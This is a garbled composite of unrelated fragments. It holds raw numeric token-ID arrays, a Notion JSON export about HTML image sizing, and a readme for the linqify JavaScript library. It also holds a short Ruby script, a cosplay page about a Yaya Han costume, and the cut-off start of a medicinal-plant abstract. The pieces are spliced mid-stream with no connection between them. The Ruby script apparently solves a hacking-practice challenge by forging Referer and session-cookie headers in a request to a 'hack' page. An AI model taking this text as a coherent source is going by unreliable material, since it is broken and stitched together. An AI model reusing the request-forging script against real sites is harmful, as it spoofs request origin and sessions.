3, 881, 1381, 346, 4387, 64, 33290, 3, 187, 50266, 94, 187, 50268, 1092, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 3, 33300, 1624, 11685, 3, 187, 50264, 62, 187, 50266, 62, 187, 50268, 2023, 187, 50268, 3, 881, 1381, 346, 6377, 995, 187, 50268, 3, 4149, 1381, 10523, 187, 50270, 94, 187, 50272, 2023, 187, 50272, 3, 19, 68, 24, 19948, 2405, 14, 1166, 67, 24, 14, 2537, 361, 14, 66, 26, 67, 21, 14, 2031, 67, 26, 69, 357, 4482, 22, 1678, 1381, 551, 187, 50270, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50270, 3, 2877, 1381, 551, 187, 50268, 3, 267, 422, 1381, 2032, 13, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3712, 13, 187, 50268, 3, 301, 1381, 346, 19, 68, 24, 19948, 2405, 14, 1166, 67, 24, 14, 2537, 361, 14, 66, 26, 67, 21, 14, 2031, 67, 26, 69, 357, 4482, 22, 1678, 995, 187, 50268, 3, 30029, 64, 6172, 64, 5560, 1381, 2032, 13, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3712, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 1967, 70, 1229, 3763, 71, 14, 4739, 324, 14, 21, 71, 1036, 14, 25, 71, 3342, 14, 71, 2787, 66, 19, 567, 23, 71, 43557, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 3, 1394, 476, 1918, 253, 2460, 247, 4871, 285, 4898, 275, 2057, 253, 1180, 273, 16710, 15115, 390, 247, 7155, 273, 253, 2460, 457, 84, 4588, 10103, 449, 187, 50264, 62, 187, 50266, 62, 187, 50268, 2023, 187, 50268, 3, 881, 1381, 346, 1156, 995, 187, 50268, 3, 4149, 1381, 337, 187, 50270, 94, 187, 50272, 2023, 187, 50272, 3, 1671, 4989, 69, 44968, 14, 3046, 1787, 14, 21, 67, 2031, 14, 35537, 67, 14, 69, 26, 68, 17490, 70, 36002, 66, 20, 1381, 551, 187, 50270, 3, 14337, 1381, 346, 13982, 64, 7483, 995, 187, 50270, 3, 2877, 1381, 551, 187, 50268, 3, 267, 422, 1381, 2032, 13, 187, 50268, 3, 22337, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 22337, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3357, 13, 187, 50268, 3, 301, 1381, 346, 1671, 4989, 69, 44968, 14, 3046, 1787, 14, 21, 67, 2031, 14, 35537, 67, 14, 69, 26, 68, 17490, 70, 36002, 66, 20, 995, 187, 50268, 3, 30029, 64, 6172, 64, 5560, 1381, 2032, 13, 187, 50268, 3, 6275, 64, 49539, 64, 1615, 1381, 346, 4482, 42047, 70, 19, 69, 14, 69, 26233, 14, 21, 67, 1540, 14, 67, 19, 66, 26, 14, 2941, 5523, 67, 22981, 1967, 66, 995, 187, 50268, 3, 6275, 64, 49539, 64, 2606, 1381, 20029, 41646, 2537, 1976, 3357, 13, 187, 50268, 3, 5598, 64, 301, 1381, 346, 1967, 70, 1229, 3763, 71, 14, 4739, 324, 14, 21, 71, 1036, 14, 25, 71, 3342, 14, 71, 2787, 66, 19, 567, 23, 71, 43557, 995, 187, 50268, 3, 5598, 64, 2420, 1381, 346, 6172, 995, 187, 50268, 3, 19402, 1381, 551, 187, 50266, 3, 12982, 1381, 544, 187, 50264, 60, 187, 50262, 3, 3493, 404, 10318, 3, 187, 50264, 62, 187, 50266, 1092, 187, 50266, 3, 5564, 1381, 544, 187, 50264, 60, 187, 50262, 35343, 86, 4838, 68, 8428, 6740, 21655, 13485, 16, 1518, 89, 1518, 14, 8428, 15, 8567, 10632, 4871, 21655, 1235, 6, 10632, 4898, 21655, 1235, 6, 10632, 6945, 21655, 34 ]

b2-43d6-8373-6816bb340baa", "2cc612ec-b9b4-4723-9e71-5e769545a865", "31c4395c-91bc-49cc-a07d-b0bb89444bc3", "b7f7f1c4-15e8-4a80-bb0d-7169cd005c2d", "c5a812de-fa1f-42ca-bbf0-f6773778ecdc", "f264d78c-99b2-46cb-b958-6c7a068a9e8e", "f30b872f-fc41-410f-834d-4ccab2f02f0f", "21c8be83-156a-4923-bd2e-34e966cec741", "0f632734-78c6-4a81-b596-ba5e32c9e496", "e132f56e-7b78-4907-9394-4a3b129a10d3", "6ba0f1d5-fd8e-4690-b3a1-9c1e6f29d667", "5a9b9863-3bce-4c53-babb-94ff18118c61", "1493e62f-db5f-450b-afb0-25d7ac2cf444", "ac040c27-7eb1-4959-9e36-ad1bf32431a2", "0a723fbb-1450-4fcb-8136-c42a789b9e6c", "8aa91908-014a-4328-b98a-ef8e73f79973", "12fe6866-cfaf-4ee7-8556-ffa3384e28ad", "88d88aab-deb7-42fd-abcb-2ed71c175bef", "017fa3bb-2feb-40eb-8774-714c9f7549c6", "71f48621-54fa-4e37-8daf-e20fc27297e9", "05e09999-58eb-4d3f-a542-24b6b559ac56", "9339587b-7029-4401-9ec2-3d4695a2d983", "91e65036-43ad-4dca-a2d1-4135c6991d57", "e972a218-85b0-4977-b6c2-f48c4233d679", "9d96df8d-0869-404d-97f4-be70051962e8", "4728b8e9-63a9-42be-b300-d9ac491fdcf3", "af4b05c6-1f0d-43ec-a4db-6d3431d10910", "026fd6c3-3b9b-455b-b8c5-34b926be3ff9", "44b896bb-4600-45d5-92f1-ceff6b9421e5", "6ca876a8-ac55-462c-b7a5-6c0ce03ec913", "ea5cf099-99fe-4d60-8a43-bb54526e1c5d", "016a63ac-3892-401c-a729-8d89dc2c50f7", "d30bf527-50b0-458d-b30d-c347601b7775", "fc8db31b-6f18-432c-9386-b5bbb22f27df", "6e2ced07-e55c-4b9b-8bcd-4737b2ed6c4c", "27e9c929-0792-4b77-b416-0e2fbba050d5", "4f922ad8-4dd2-4fc7-9015-72f0eb2030fa", "2d593684-afba-4be1-9d50-abcd322da2f2", "f35511ed-2292-4b3f-bedc-84e1ca278f56", "b3b12c96-5080-4b48-82a9-5d6d3cc05065" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948252416, "format": { "page_full_width": true, "page_small_text": true }, "id": "1c13e594-ccd5-472f-b58d-4c56379e7540", "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1570604940000, "parent_id": "de9bcccb-8a6b-4f46-84d6-1ae940caad22", "parent_table": "block", "permissions": [ { "allow_search_engine_indexing": false, "role": "comment_only", "type": "public_permission" } ], "properties": { "title": [ [ "Essential HTML" ] ] }, "type": "page", "version": 78 } }, "2c738431-17b7-4900-a9b4-44b9dabbb5dd": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948497551, "id": "2c738431-17b7-4900-a9b4-44b9dabbb5dd", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1551948497551, "parent_id": "70e3062f-91ad-4f16-8fbf-f79a2ff6f920", "parent_table": "block", "properties": { "title": [ [ "You can give the image a width and height in either the number of CSS pixels or a percentage of the image’s actual dimensions." ] ] }, "type": "text", "version": 1 } }, "35dfd585-5937-4b44-874b-d9c203e559a3": { "role": "comment_only", "value": { "alive": true, "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1551948497553, "id": "35dfd585-5937-4b44-874b-d9c203e559a3", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1551948497553, "parent_id": "70e3062f-91ad-4f16-8fbf-f79a2ff6f920", "parent_table": "block", "properties": { "language": [ [ "Plain Text" ] ], "title": [ [ "\u003cimg src=\"images/200x200-img.png\" width=\"50%\" height=\"50%\" alt=\"A

[ 1319, 5065, 12287, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 1416, 14739, 5065, 12287, 426, 8721, 1319, 33925, 2967, 964, 18147, 5065, 12287, 313, 246, 3001, 313, 551, 9424, 1163, 246, 964, 9424, 748, 2387, 2387, 3706, 952, 964, 3656, 4291, 313, 1416, 14739, 5065, 12287, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 619, 13362, 1178, 426, 952, 964, 1916, 16850, 4531, 313, 1416, 7008, 1319, 5065, 12287, 2387, 3706, 544, 3346, 619, 13362, 1178, 5032, 619, 13362, 1178, 964, 5733, 313, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 2030, 748, 2387, 3706, 619, 13362, 1178, 964, 5733, 313, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 2030, 748, 2387, 3706, 187, 187, 38, 284, 1031, 9017, 253, 6335, 187, 187, 3378, 14156, 1159, 187, 187, 38936, 964, 873, 6942, 313, 346, 4952, 25170, 346, 1157, 1159, 475, 313, 2387, 551, 1339, 801, 426, 470, 3706, 323, 313, 1339, 246, 273, 436, 2387, 604, 313, 801, 12996, 2462, 374, 11013, 470, 2387, 4917, 246, 3706, 748, 2387, 3706, 544, 346, 247, 346, 1157, 346, 270, 346, 1157, 346, 260, 346, 1157, 346, 277, 346, 5032, 964, 4952, 25170, 313, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3980, 342, 2622, 1159, 187, 187, 38936, 964, 873, 6942, 313, 346, 657, 14417, 346, 1157, 1159, 313, 2387, 551, 1339, 1323, 72, 426, 436, 964, 26056, 313, 2387, 3706, 1091, 436, 964, 16551, 313, 246, 3001, 8684, 964, 5030, 313, 246, 428, 1323, 72, 1157, 374, 2387, 2387, 964, 26056, 313, 2387, 3706, 748, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 657, 14417, 313, 2387, 3706, 187, 187, 9395, 2840, 17679, 1332, 187, 187, 11021, 253, 4454, 347, 1142, 2069, 347, 597, 403, 1711, 187, 187, 1059, 952, 426, 544, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 495, 748, 1157, 551, 9424, 1163, 346, 9915, 346, 1157, 11362, 1163, 374, 748, 1157, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 337, 748, 5032, 952, 964, 12047, 313, 1159, 475, 313, 2387, 551, 323, 313, 1339, 246, 273, 436, 2387, 4917, 475, 3035, 25552, 964, 37780, 313, 246, 964, 9424, 1157, 246, 964, 11362, 2387, 748, 2387, 964, 16551, 313, 246, 3001, 246, 964, 281, 34252, 11247, 313, 2387, 2387, 964, 1916, 6542, 313, 2387, 187, 187, 3633, 253, 17172, 1436, 313, 10573, 7903, 3463, 10, 187, 187, 1059, 952, 426, 544, 551, 9424, 1163, 346, 5332, 346, 1157, 11362, 1163, 1283, 748, 1157, 551, 9424, 1163, 346, 9915, 346, 1157, 11362, 1163, 3307, 748, 1157, 551, 9424, 1163, 346, 14884, 346, 1157, 11362, 1163, 1384, 748, 5032, 1339, 17172, 426, 952, 964, 12047, 313, 313, 2603, 2387, 3001, 551, 1339, 1095, 83, 20598, 383, 426, 2603, 964, 3973, 3980, 9671, 313, 2387, 3706, 323, 313, 1339, 246, 273, 2603, 2387, 604, 313, 246, 964, 11362, 2239, 1095, 83, 20598, 383, 964, 11362, 2387, 1095, 83, 20598, 383, 426, 246, 3706, 1091, 1095, 83, 20598, 383, 3706, 748, 2387, 17172, 187, 187, 1992, 2765, 13, 1916, 29872, 13, 1916, 16850, 4531, 13, 1916, 48061, 187, 187, 1059, 619, 3550, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 2765, 313, 2387, 3706, 619, 3550, 964, 5733, 313, 1458, 2387, 3706, 544, 3346, 619, 3550, 5032, 1339, 619, 8102, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 29872, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 3706, 544, 3346, 619, 8102, 5032, 1339, 619, 13362, 1178, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 16850, 4531, 313, 2387, 3706, 619, 13362, 1178, 964, 1680, 23291, 398, 292, 4527, 313, 544, 337, 1157, 577, 5032, 2387, 3706, 1339, 2390, 426, 544, 337, 1157, 495, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 48061, 313, 246, 3001, 246, 2239, 495, 3736, 346, 1943, 346, 1163, 346, 1355, 346, 1157, 246, 3001, 246, 2387, 3706, 323, 313, 1339, 1387, 273, 2390, 2387, 9667, 964, 2412, 313, 1387, 964, 10030, 1157, 544, 3346, 1387, 5032, 2387, 3706, 187, 187, 1992, 4531, 13, 1916, 6648, 13, 1916, 6542, 187, 187, 60, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 4531, 313, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 6648, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 3706, 544, 337, 1157, 495, 1157, 577, 1157, 577, 1157, 854, 1157, 1249, 5032, 964, 1916, 6648, 313, 246, 3001, 246, 1157, 246, 3001, 246, 475, 374, 2387, 964, 1916, 6542, 313, 2387, 3706, 1339, 5170, 14090, 426, 544, 346, 14884, 346, 1157, 346, 9915, 346, 1157, 346, 5332, 346, 5032, 964, 16551, 313, 246, 3001, 246, 964, 281, 34252, 11247, 313, 2387, 2387, 3706, 5170, 14090, 964, 1916, 6542, 313, 2387, 3706, 544, 3346, 5170, 14090, 5032, 3706, 187, 187, 7992, 1727, 7925, 11782, 13, 12968, 13, 6618, 13, 285, 4605, 187, 187, 3, 14884, 34365, 346, 964, 3656, 4291, 313, 2387, 964, 38898, 313, 2387, 964, 1916, 6542, 313, 2387, 3706, 747, 12968, 313, 544, 544, 337, 1157, 346, 14884, 346, 5032, 1157, 544, 374, 1157, 346, 9915, 346, 5032, 1157, 544, 495, 1157, 346, 5332, 346, 5032, 5032, 2387, 964, 16551, 313, 246, 3001, 2634, 7224, 246, 544, 470, 5032, 748, 1163, 7224, 246, 544, 337, 5032, 748, 2634, 2387, 964, 1916, 6542, 313, 2387, 3706, 747, 6618, 313, 544, 337, 1157, 577, 1157, 721, 1157, 577, 1157, 818, 5032, 2387, 964, 26056, 313, 2387, 3706, 187, 187, 9395, 309, 38936, 432, 14156, 187, 187, 20067, 8234, 14156, 273, 12128, 3904, 187, 187, 3701, 310, 41133, 313, 930, 2387, 551, 323, 313, 1339, 891, 426, 374, 1157, 256, 426, 8684, 964, 8084, 313, 930, 2387, 3706, 891, 11049, 256, 3706, 891, 12996, 2387, 604, 313, 930, 2462, 891, 11013, 470, 2387, 1091, 3221, 3706, 1091, 2032, 3706, 748, 1339, 4335, 45972, 426, 3035, 25552, 964, 4325, 313, 1159, 475, 313, 2387, 551, 1339, 891, 426, 374, 3706, 1223, 313, 2032, 2387, 551, 604, 313, 310, 41133, 313, 891, 2387, 2387, 4917, 891, 3706, 891, 12996, 3706, 748, 748, 2387, 3706, 4335, 45972, 964, 11668, 313, 884, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 20067, 8234, 14156, 273, 34125, 251, 42401, 3425, 187, 187, 1059, 5713, 251, 42401, 45972, 426, 3035, 25552, 964, 4325, 313, 1159, 475, 313, 2387, 551, 1339, 1655, 426, 470, 1157, 1735, 426, 337, 3706, 1223, 313, 2032, 2387, 551, 4917, 1655, 3706, 544, 1655, 1157, 1735, 5032, 426, 544, 1735, 1157, 1655, 559, 1735, 5032, 3706, 748, 748, 2387, 3706, 5713, 251, 42401, 45972, 964, 11668, 313, 884, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3378, 3510, 1687, 1329, 187, 187, 2369, 30064, 4500, 187, 187, 2948, 551, 19169, 82, 1419, 748, 432, 686, 19169, 82, 1419, 686, 3706, 945, 298, 82, 426, 19169, 82, 1419, 964, 642, 30064, 313, 2387, 3706, 544, 337, 1157, 374, 1157, 495, 5032, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 298, 82, 964, 3035, 25552, 964, 4325, 313, 544, 337, 1157, 374, 1157, 495, 5032, 2387, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 298, 82, 313, 544, 337, 1157, 374, 1157, 495, 5032, 2387, 964, 16551, 313, 246, 3001, 246, 475, 246, 2387, 964, 1916, 6542, 313, 2387, 3706, 187, 187, 3351, 38758, 3082, 275, 309, 38936, 187, 187, 35619, 1747, 366, 13, 1876, 13, 6101, 13, 2051, 423, 13, 1284, 38936, 13, 26056, 13, 9893, 13, 1716, 8076, 13, 3267, 1550, 13, 8240, 13, 12047, 13, 18193, 2042, 16801, 13, 3656, 4291, 13, 26392, 3404, 13, 26392, 3404, 3980, 9671, 13, 25373, 13, 3973, 13, 3973, 3980, 9671, 13, 1198, 11837, 13, 5901, 3463, 13, 5901, 22196, 13, 5383, 7338, 13, 29355, 13, 9859, 13, 9859, 3980, 9671, 13, 7903, 13, 3689, 13, 4683, 2548, 13, 9700, 3463, 13, 9700, 3463, 24776, 1946, 13, 29081, 423, 13, 38898, 13, 16551, 13, 16551, 10195, 13, 31583, 12827, 13, 19757, 13, 19757, 3980, 9671, 13, 48799, 13, 48799, 8693, 13, 48799, 6175, 13, 7069, 13, 11668, 13, 11668, 8693, 13, 11668, 6175, 13, 1916, 6542, 13, 1916, 29872, 13, 1916, 16850, 4531, 13, 1916, 2765, 13, 1916, 48061, 13, 1916, 6648, 13, 1916, 4531, 13, 6398, 13, 7900, 13, 48695, 15, 187, 187, 3351, 38758, 3082, 275, 309, 3980, 3466, 38936, 187, 187, 5872, 3463, 13, 2635, 3463, 24776, 1946, 15, 4, 34834, 11919, 16, 4805, 16, 26176, 187, 15684, 686, 3024, 16, 2413, 8, 187, 11317, 30, 20201, 15, 12083, 2073, 2413, 1358, 2700, 15, 73, 471, 398, 1651, 15, 23731, 16, 73, 471, 16, 21528, 1047, 15, 5581, 3401, 187, 8695, 1450, 23760, 15, 5478, 9, 11317, 15, 5465, 910, 93, 2413, 93, 187, 186, 2076, 30, 2413, 15, 5996, 9, 996, 186, 11317, 15, 3967, 13, 996, 186, 8, 5423, 64, 301, 30, 2511, 2950, 1383, 996, 186, 92, 988, 186, 8, 1785, 453, 6554, 46294, 11317, 15, 936, 64, 84, 13, 988, 186, 8, 40461, 46294, 8, 6663, 3299, 5479, 1838, 30, 1383, 996, 186, 94, 187, 186, 10, 187, 186, 1065, 84, 1183, 15, 2915, 187, 94, 25997, 9181, 1160, 16, 7645, 264, 407, 714, 12451, 875, 7544, 428, 1024, 15, 187, 187, 42829, 27198, 32885, 11938, 428, 6201, 6549, 11412, 16428, 187, 187, 4967, 309, 9703, 436, 28067, 27, 187, 187, 42, 452, 1900, 1663, 519, 2149, 22587, 86, 434, 3590, 16, 4826, 285, 1160, 247, 2969, 27170, 432, 253, 2014, 346, 1394, 3, 323, 329, 14, 32937, 6585, 15, 309, 369, 2183, 407, 247, 1175, 1180, 273, 952, 849, 1199, 359, 43117, 1016, 643, 285, 352, 17194, 479, 281, 1056, 247, 2120, 14, 48829, 22587, 86, 14, 16736, 2123, 428, 285, 752, 1805, 281, 1056, 685, 253, 6201, 6549, 16581, 2338, 32, 187, 187, 2347, 309, 1160, 436, 28067, 27, 187, 187, 42, 9703, 247, 1029, 3290, 458, 19739, 3379, 43716, 326, 439, 1100, 285, 33902, 23395, 323, 253, 4176, 15, 733, 434, 417, 22587, 86, 434, 3242, 3379, 533, 309, 2686, 4510, 7477, 15, 309, 3562, 253, 18400, 656, 2338, 1563, 247, 3102, 13, 533, 5678, 253, 3574, 1173, 264, 285, 26936, 323, 247, 6032, 5798, 14, 3022, 1007, 15, 380, 8105, 369, 1160, 1293, 247, 3102, 15, 18694, 32861, 479, 715, 253, 4176, 285, 309, 2335, 352, 275, 1919, 352, 369, 5322, 285, 6863, 327, 479, 15, 380, 13628, 285, 43390, 497, 671, 1160, 407, 479, 13, 285, 597, 403, 6107, 275, 10058, 1652, 3168, 29535, 330, 49968, 285, 11537, 249, 42529, 15, 733, 2335, 479, 1048, 3038, 281, 4336, 823, 512, 253, 13882, 249, 42529, 15, 309, 6107, 247, 4667, 273, 19269, 275, 253, 458, 19739, 3379, 43716, 285, 8686, 247, 1643, 11537, 249, 20111, 39978, 15, 380, 512, 981, 2502, 1056, 14, 484, 285, 2798, 3426, 436, 27170, 15, 187, 187, 1044, 1224, 84, 327, 436, 28067, 27, 187, 187, 42, 369, 1077, 9995, 326, 309, 11386, 7477, 323, 41279, 984, 352, 3534, 479, 253, 1921, 281, 465, 4595, 3136, 346, 14102, 6549, 3, 387, 253, 12417, 347, 253, 5307, 14, 56, 5338, 15, 733, 457, 84, 1077, 9848, 281, 8251, 13, 533, 1892, 281, 1691, 327, 15, 187, 187, 10572, 714, 12451, 187, 187, 58, 12451, 13594, 8942, 310, 581, 273, 760, 1643, 7349, 1993, 398, 275, 253, 1533, 281, 1973, 247, 2136, 275, 436, 34057, 14, 382, 3114, 13, 533, 1014, 846, 247, 9976, 273, 2323, 13, 703, 331, 39477, 281, 3297, 2032, 281, 752, 1694, 617, 715, 436, 1673, 8927, 428, 794, 285, 22794, 15, 1916, 436, 1388, 13, 714, 12451, 556, 1160, 247, 35988, 273, 37635, 275, 253, 39831, 273, 29326, 13, 38788, 13, 3492, 3958, 13, 33010, 14, 11125, 13, 17478, 5098, 285, 273, 2282, 432, 617, 1211, 3236, 11809, 15, 4058, 36930, 285, 22874, 763, 45414, 452, 1912, 16620, 285, 913, 7041, 11762, 13, 285, 703, 556, 644, 12470, 281, 3176, 347, 247, 34933, 13, 23610, 382, 13, 6798, 13, 3545, 19946, 285, 19005, 281, 8307, 29793, 285, 643, 3394, 512, 689, 253, 20902, 15, 37837, 2980, 273, 5093, 4236, 416, 88, 395, 266, 34121, 6244, 323, 23945, 285, 33636, 4712, 15, 187, 34, 16993, 17218 ]

alityComparer ). ToArray ( ) ; let nameEqComparer = EqualityComparers. DeepComparer ( t => ( { Name : t. Name } ) ) ; people. Distinct ( nameEqComparer ). ToArray ( ) ; let myhashset = people. ToHashSet ( nameEqualityComparer ) ; [... myhashset ] myhashset. Add ( { Name : " Jack ", Age : 25 } ) ; myhashset. Add ( { Name : " Jane ", Age : 25 } ) ; Easily extend the library With generator function Enumerable. setMethod ( " EvenElements ", function * ( ) { let ind = 0 ; for ( let t of this ) if ( ind ++ % 2 === 0 ) yield t ; } ) ; [ " a ", " b ", " c ", " d " ]. EvenElements ( ). ToArray ( ) ; Or with normal function Enumerable. setMethod ( " Variance ", function ( ) { let avg = this. Average ( ) ; return this. Select ( t => Math. pow ( t - avg, 2 ) ). Average ( ) ; } ) ; [ 1, 3, 4, 8, 12 ]. Variance ( ) ; Create custom anonymous method Output the names as many times as they are old let people = [ { Name : " Jack ", Age : 3 }, { Name : " Joe ", Age : 2 }, { Name : " Jane ", Age : 1 } ] people. Custom ( function * ( ) { for ( let t of this ) yield * Enumerable. Repeat ( t. Name, t. Age ) } ). Select ( t => t. toUpperCase ( ) ). ToArray ( ) Get the oldest person (aka MaxBy) let people = [ { Name : " Jack ", Age : 18 }, { Name : " Joe ", Age : 22 }, { Name : " Jane ", Age : 20 } ] let oldest = people. Custom ( ( source ) => { let currOldest = source. FirstOrDefault ( ) ; for ( let t of source ) if ( t. Age > currOldest. Age ) currOldest = t ; return currOldest ; } ) oldest ToList, ToDictionary, ToHashSet, ToLookup let mylist = [ 1, 3, 4, 8, 12 ]. ToList ( ) ; mylist. Add ( 15 ) ; [... mylist ] let mydict = [ 1, 3, 4, 8, 12 ]. ToDictionary ( t => t, t => t * 2 ) ; [... mydict ] let myhashset = [ 1, 3, 4, 8, 12 ]. ToHashSet ( ) ; myhashset. IsSupersetOf ( [ 1, 4 ] ) ; let groups = [ 1, 3, 4, 8, 12 ]. ToLookup ( t => t > 3? " big " : " small ", t => t ) ; for ( let group of groups ) console. log ( group. Key, [... group ] ) ; ToSet, ToMap, ToArray [ 1, 3, 4, 4, 8, 12 ]. ToSet ( ) ; [ 1, 3, 4, 4, 8, 12 ]. ToMap ( t => t, t => t * 2 ) ; [ 1, 3, 4, 4, 8, 12 ]. ToMap ( t => t, t => t * 2 ). ToArray ( ) ; let upperNames = [ " Jane ", " Joe ", " Jack " ]. Select ( t => t. toUpperCase ( ) ) ; upperNames. ToArray ( ) ; [... upperNames ] ; Extends native Array, Map, Set, and String " Jane Doe ". Distinct ( ). Reverse ( ). ToArray ( ) ; new Map ( [ [ 1, " Jane " ], [ 2, " Joe " ], [ 3, " Jack " ] ] ). Select ( t => ` ${ t [ 0 ] } : ${ t [ 1 ] } ` ). ToArray ( ) ; new Set ( [ 1, 4, 6, 4, 7 ] ). Average ( ) ; Create IEnumerable from generator Infinite generator of Prime numbers function isPrime ( num ) { for ( let i = 2, s = Math. sqrt ( num ) ; i <= s ; i ++ ) if ( num % i === 0 ) return false ; return true ; } let primeNumbers = Enumerable. From ( function * ( ) { let i = 2 ; while ( true ) { if ( isPrime ( i ) ) yield i ; i ++ ; } } ) ; primeNumbers. Take ( 10 ). ToArray ( ) ; Infinite generator of Fibonacci sequence let fibonacciNumbers = Enumerable. From ( function * ( ) { let current = 0, next = 1 ; while ( true ) { yield current ; [ current, next ] = [ next, current + next ] ; } } ) ; fibonacciNumbers. Take ( 10 ). ToArray ( ) ; With typescript support noConflict option import { linqify } from'linqify'; var lq = linqify. noConflict ( ) ; [ 1, 2, 3 ]. Select ( t => t * t ). ToArray ( ) ; lq. Enumerable. From ( [ 1, 2, 3 ] ). Select ( t => t * t ). ToArray ( ) ; lq ( [ 1, 2, 3 ] ). Select ( t => t * t ). ToArray ( ) ; Implemented methods in IEnumerable Aggregate, All, Any, Append, AsEnumerable, Average, Cast, Concat, Contains, Count, Custom, DefaultIfEmpty, Distinct, ElementAt, ElementAtOrDefault, Except, First, FirstOrDefault, ForEach, GroupBy, GroupJoin, Intersect, Join, Last, LastOrDefault, Max, Min, OfType, OrderBy, OrderByDescending, Prepend, Reverse, Select, SelectMany, SequenceEqual, Single, SingleOrDefault, Skip, SkipLast, SkipWhile, Sum, Take, TakeLast, TakeWhile, ToArray, ToDictionary, ToHashSet, ToList, ToLookup, ToMap, ToSet, Union, Where, Zip. Implemented methods in IOrderedEnumerable ThenBy, ThenByDescending.#!/usr/bin/ruby require 'net/http' uri=URI.parse('http://www.hackerschool.jp/hack/take14.php') Net::HTTP.start(uri.host){|http| resp=http.post( uri.path, 'input_id=8946', { 'Referer'=>uri.to_s, 'Cookie'=>'PHPSESSID=', } ) puts resp.body }Costumes made/modeled by Yaya between 1999 - now. Ayumi Hamasaki - Surreal Music Video Why I chose this costume: I have always really adored Ayu's sound/style and made a simple outfit from the single "You" for A-kon 2001. I was told by a good number of people how much we resembled each other and it motivated me to make a full-blown Ayu-costume - and what better to make than the Surreal catsuit? How I made this costume: I chose a high quality leopard print velvet that shines and stretches nicely for the suit. It's not Ayu's exact print but I actually prefer mine. I created the bodysuit following a pattern, but combined the sleeved and gloves for a smooth cat-like look. The tail was made without a pattern. Meg pinned me into the suit and I took it in until it was nice and tight on me. The ears and claws were also made by me, and they are covered in tiny little white Austrian Crystals and Rhinestones. It took me long hours to completely add all the rhinestones. I covered a pair of boots in the leopard print velvet and bought a few Rhinestone belts. The alluring red make-up and heart complete this outfit. Thoughts on this costume: I was very glad that I debut mine for AX because it gave me the reason to karaoke "Surreal" at the contest as the 2000-Winner. It’s very comfortable to wear, but hard to put on. About Yaya Yaya Han® is one of only few cosplayers in the world to build a business in this hobby-ist community, but even after a decade of success, she strives to stay true to what got her into this field originally - fun and creativity. To this day, Yaya has made a myriad of costumes in the genres of anime, manga, video games, sci-fi, comic books and of course from her own original designs. Her intricate and lavish creations have won awards and acclaim worldwide, and she has been invited to appear as a Guest, Panelist, Judge, Performer and Host to hundreds conventions and other events all over the globe.Screening of seven selected Rwandan medicinal plants for antimicrobial and antiviral activities. Aqueous Et

